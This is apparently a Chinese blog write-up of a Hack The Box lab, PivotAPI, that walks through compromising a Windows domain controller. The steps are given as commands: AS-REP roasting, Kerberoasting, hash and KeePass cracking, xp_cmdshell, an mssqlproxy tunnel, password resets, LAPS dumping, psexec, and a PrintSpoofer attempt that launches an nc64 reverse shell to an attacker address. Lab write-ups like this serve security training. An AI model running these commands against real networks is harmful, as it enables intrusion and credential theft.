红队笔记靶机精讲视频笔记_HTB PivotAPI
HTB PivotAPI
初始侦查和分析
sudo openvpn ../htb.ovpn #使用openvpn连接靶机
mkdir nmapscan
sudo nmap -sT --min-rate 10000 -p- 10.129.139.15 -oA nmapscan/ports #这是粗略的扫描
grep open nmapscan/ports.nmap
grep open nmapscan/ports.nmap | awk -F '/' '{print $1}'
grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',' #处理数据小技巧,可以快速将开放的端口列出来
ports=\$(grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',') # echo \$ports 可以检查一下
sudo nmap -sT -sV -sC -O -p$ports 10.129.139.15 -oA nmapscan/detail #最重的一次扫描,查看tcp、版本、脚本、操作系统的详细信息
sudo nmap -sU -p- 10.129.139.15 -oA nmapscan/udp
sudo nmap --script=vuln -p$ports 10.129.139.15 -oA nmapscan/vuln #扫描漏洞脚本
#执行完nmap四扫可以收集很多信息
从详细扫描结果可以看到确定如下几个信息:
- FTP端口开放,且支持匿名登录,已经列出来文件名了,可以看一下
- 389,3268 ldap服务,说明这是一台域控,并且已经显示出了域名
- 开启88kerberos服务,135msrpc服务
- 1433 ms-sql服务钟现实了DNSname
#将两个域名放入到kali的/etc/hosts文件里
10.129.139.15 PivotAPI.licorDeBellota.htb
10.129.139.15 LicorDeBellota.htb
可以试试做区域传输,但是意义不大,一般功能都会关掉。
区域传输指的是 从服务器向主服务器查询更新数据,保证数据一致性,此为区域传送。一般使用dig命令来发送axfr记录请求来验证是否有区域传输:dig @your-ip -t axfr vulhub.org
优先考虑FTP,SMB,LDAP攻击,88端口也可以考虑未验证爆破
FTP渗透和文件获取
wget -m ftp://anonymous:RedteamNotes@LicorDebellota.htb #-m是mirror的意思
#如果是ftp登录到命令行的模式下,要启用binary二进制的传输模式下载文件,不然很容易损坏
文件分析
exiftool *.pdf |grep -iE creator\\\|author #把pdf文件里的创建者和作者拿出来,这是需要关注的点,敏感信息
exiftool *.pdf |grep -iE creator\\\|author | awk -F ':' '{print $2}'
exiftool *.pdf |grep -iE creator\\\|author | awk -F ':' '{print $2}'|grep -v -i microsoft |grep -vE '[0-9]' | uniq | sort | tee pdf_authors #将微软和有数字的部分删除掉 -v是反向 -i是忽略大小写 -E是拓展正则表达式 uniq是去除重复项,sort是排序,tee是将内容生成为文件
xdg-open notes1.pdf
翻文件是一项很重要的内容,如果如果有一项重要凭据错过了那就真的错过了。靶机是真实渗透环境的抽象。
SMB服务空用户名尝试
crackmapexec smb 10.129.139.15 #查看有SMB共享
smbmap -H 10.129.139.15
smbclient -L //10.129.139.15 -N #试试空密码能不能登录,失败了,说明空密码没用
RPC:
rpcclient -U '' -N 10.129.139.15
enumdomusers 枚举域用户
querydominfo 查询域信息
serinfo 查询服务信息
纯暴力破解(AS-REP Roasting):
kerbrute 快速kerberos暴力破解工具
kerberos用户枚举执行以下逻辑:当一个不存在的用户尝试认证时,kerberos返回一个特定的错误表示“客户端身份未知”;当用户存在时,返回另一个错误,通过这可以判断用户是否存在。由于只是发身份认证请求而不具体认证,所以不会触发账户锁定策略。
kerbrute userenum --domain LicorDebellota.htb --dc 10.129.139.15 /usernamelist.txt -t 1000 #注意要收集用户密码的list seclists(这个项目)
当某个用户的标识设为uf_dont_require_preauth的时候,可以获取用户票据(哈希),可以破解该哈希。
使用impacket工具下的GetNPUser脚本:
sudo updatedb
locate -i getnp
export PATH=$PATH:/usr/share/doc/python3-impacket/examples/ 环境变量=当前环境变量:(附加)后面的路径
GetNPUsers.py --no-pass -dc-ip 10.129.139.15 LicorDebellota.htb/ -usersfile user_list
hashcat --help|grep -i rep 可以看到使用方法
hashcat -m 18200 kaorz_hash /usr/share/wordlists/rockyou.txt
john kaorz_hash -w=/usr/share/wordlists/rockyou.txt 用john也可以
为什么有的用户设置了而有的用户没设置,为什么不彻底规避这种风险?有以下几个原因:
- 早期的kerberos客户端不支持域认证,有些kerberos用户设置了这个选项以便于和早期的客户端兼容
- 出于简化身份认证流程的需求,某些域管理员想要消除繁琐的认证过程
- 特定的应用程序或服务的具体需求
- 历史原因和配置错误
Kerberoasting攻击技术,针对服务账号例如数据库、web应用程序等。一旦拥有有效凭证,可以请求服务票据,由于这些票据是由服务账号密码加密的,攻击者可以破解出明文密码。
获得凭据后尝试靶机的各个服务
SSH:
ssh kaorz@10.129.139.15 失败,没有ssh权限
Kerberoasting:
GetUserSPNs.py -dc-ip 10.129.139.15 LicorDebellota.htb/kaorz:Roper4155
mssqlclient:
mssqlclient.py LicorDebellota.htb/kaorz:Roper4155@10.129.139.15
Bloodhound分析
使用bloodhound来看一下这个用户的攻击路径
sudo apt search bloodhound
sudo neo4j restart
bloodhound-python -c ALL -u kaorz -p Roper4155 -d LicorDebellota.htb -dc LicorDebellota.htb -ns 10.129.139.15 --zip #采集域信息。看到有28个用户,58个群组
启动bloodhound主程序进行分析(对刚才采集到的数据),发现没有任何可用路径
SMB渗透
尝试SMB共享
smbmap -H 10.129.139.15 -u kaorz -p Roper4155 #建立了一个session会话但是不能访问本地变量priv_status,报错了
crackmapexec smb 10.129.139.15 -u kaorz -p Roper4155 --shares
smbclient -U LicorDebellota.htb/kaorz //10.129.139.15/IPC$
prompt off
敏感文件分析
file *.msg
msgconvert *.msg #用于读取outlook的邮件格式
xdg-open 'server MSSQL.eml'
靶机的邮件是真实案例的抽象和聚焦,所以要重点关注
file Restart-OracleService.exe # PE32+ executable(console^(命令行程序)^) x86-64^(又称为amd64,不能在纯32位的操作系统中运行)^ ,for MS Windows,6 sections
其他命令:
strings 看字符串
ldd 看动态链接库
nm 看符号表
vim显示行号:set number
ghidra静态逆向
用ghidra逆向二进制文件,看到加了混淆,需要动态分析
ProcMon分析以及bat文件逆向
使用微软官方的sysinternals套件工具process monitor来分析这个程序
根据程序名设置过滤器,并启动捕捉。可以多次捕捉来确定是否所有程序步骤全部执行完毕
关键部分不在注册表,而在创建文件和执行文件的过程。
发现有一个bat文件引起了我们兴趣,通过设置文件夹属性来保留该bat文件
想要把临时文件持久化,就可以修改临时文件夹的权限,deny掉delete文件的权限,让它只能增加不能删除。
分析该文件又生成了一个新文件(restart-service.exe),接着通过修改bat文件提取出新文件,并继续上一轮的步骤
用API Monitor动态分析
restart-service.exe用process monitor分析还不够详细,不能捕获的用户凭据,也看不到windows api调用、函数调用、参数值、返回值等,需要寻找类似Linux下的strace的工具
试一试API Monitor,选择全部的API函数并监控,通过搜索passw,成功发现数据库链接凭据
凭据推理和验证
在bloodhound中验证,发现不存在svc_oracle这个用户,但是存在svc_mssql这个用户,所以可以根据命名规则看是否密码也可以相应做出改变。
登录SSH失败,尝试登录数据库:
mssqlclient.py 'LicorDebellota.htb/svc_mssql:#mssql_s3rV1c3!2020@10.129.228.115'
登录失败,这个账户有可能是系统账户,不是数据库账户。同时尝试用默认用户sa,成功登录
enable_xp_cmdshell
xp_cmdshell systeminfo
xp_cmdshell whoami
xp_cmdshell whoami /priv 查看用户权限
SeManageVolumePrivilege 有提权路径
SeImpersonatePrivilege 有提权路径
可以尝试用PrintSpoofer在windows提权 https://github.com/itm4n/PrintSpoofer
利用mssqlproxy代理获得系统shell
#继续关注shell,尝试建立系统交互性最好的shell
xp_cmdshell net user
xp_cmdshell net user svc_mssql /domain #可以看到它属于域用户和winrm用户。刚才没有在外部扫描里看到winrm的端口,那么内部端口是开放的吗?我们可以看一下
xp_cmdshell netstat -ano | find "5985" #可以确定它是开放的
# 邮件里说它禁止了icmp的协议,那就是说通用协议的隧道和转发的工具也行不通了
这里需要使用mssqlproxy这项技术来获得系统性shell的代理
enable_ole
upload reciclador.dll c:\windows\temp\reciclador.dll
python3 mssqlclient.py 'LicorDebellota.htb/svc_mssql:#mssql_s3rV1c3!2020@10.129.228.115' -install -clr -assembly.dll
python3 mssqlclient.py 'LicorDebellota.htb/svc_mssql:#mssql_s3rV1c3!2020@10.129.228.115' -start -reciclador 'c:\windows\temp\reciclador.dll'
执行之后会在本地开启一个端口,使用这个代理可以连接evilwinrm
prochains evil-winrm -i 127.0.0.1 -u svc_mssql -p '#mssql_s3rV1c3!2020'
获得了winrm shell,接下来就是对靶机的信息搜集
首先ipconfig 确认了IP是我们要打的靶机,然后查看Desktop文件目录,发现有credentials.kdbx文件,这个是keypass的配置文件,直接下载下来
download credentials.kdbx #winrm直接支持下载
keepass破解
接下来就是对keypass的配置文件破解
kpcli --kdb credentials.kdbx #失败
keepass2john credentials.kdbx #生成中间的hash文件,使用hashcat来破解
hashcat --help | grep -i keepass
hachcat -m 13400 credentials.kdbx.hash /usr/share/wordlists/rockyou.txt --user #破解出明文mahalkita
kpcli --kdb credentials.kdbx -p mahalkita
show -f Windows/SSH #得到用户和密码,使用ssh连接成功拿到shell
探索Developers文件夹和用户
现在要进入到develop文件夹,待bloodhound里分析
net group Developers /domain
jari superfume
net user dr.zaiuss RedteamN0tes!
#修改成功后使用dr.zaiuss身份mssqlproxy登录到winrm,修改superfume的密码
net user superfume RedteamN0tes!
使用dnSpy工具分析.NET程序,逆向出jari用户的密码为Cos@chung@!RPG
使用evil-winrm登录
prochains evil-winrm -i 127.0.0.1 -u jari-p 'Cos@chung@!RPG'
也可使用rpcclient工具来修改密码
rpcclient -U 'gibdeon@RedteamN0tes!' 10.129.228.115
转储LAPS
LAPS 本地管理员密码解决方案,拿到这个用户组的权限就相当于拿到系统权限了
LAPS READ用户组可以读取域控的管理员密码,使用工具来转储(dump)LAPS
https://github.com/n00py/LAPSDumper
python laps.py -u lothbrok -p RedteamN0tes! -d LicorDebellota.htb -l 10.129.228.115
读取到了administrator的凭据为iE368R5UuDjMx4exI2w7,使用crackmapexec访问smb
crackmapexec smb 10.129.228.115 -u Administrador -p 'iE368R5UuDjMx4exI2w7'
使用psexec.py工具来获得shell,因为确认了SSH和WinRM组里面都没有管理员用户,只能联想到通过smb协议上传脚本来实现shell
psexec.py jari:'Cos@Chung@!RPG'@10.129.228.115 #失败,因为没有smb权限
psexec.py administrador:'iE368R5UuDjMx4exI2w7'@10.129.228.115
成功获得shell,得到权限,拿到flag
总结一下横向移动工具:
- psexec
- smbexec
- evil-winrm
Selmpersonate权限下PrintSpoofer利用的尝试
python mssql_shell.py #使用新工具,记得import pymssql和from pymssql import _mssql
UPLOAD PrintSpoofer64.exe c:\RedteamNotes\PrintSpoofer64.exe
UPLOAD nc64.exe c:\RedteamNotes\nc64\.exe
PrintSpoofer.exe -i -c powershell.exe #失败
PrintSpoofer.exe -c "C:\RedteamNotes\\nc64.exe 10.10.16.16 1337 -e cmd" #依旧失败
应该是系统限制了PrintSpoofer的利用
总结
常用工具总结:
crackmapexec
hashcat
john
file
msgconvert
impacket
GetNPUsers.py
GetUserSPNs.py
secretsdump.py
mssqlclient.py
smbmap
smbclient
rpcclient
proxychains
evil-winrm
keepass
keepass2john
kpcli
sshpass
Bloodhound
ghidra
procmon
api monitor
dnspy #C#逆向工具
lapsdumper #LAPS转储器
mssql_shell.py
mssqlproxy
思路总结:
- 域渗透时拿到用户名就要想到尝试使用AS-REP Roasting
- 无论是bloodhound还是辅助的手动枚举,要理解枚举命令,理解其背后的权限关系
- 渗透过程的逆向不是破解目的,要灵活运用这些逆向工具
- 理解动态和静态分析的工具
- 整体上理解域渗透的方法和工具
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!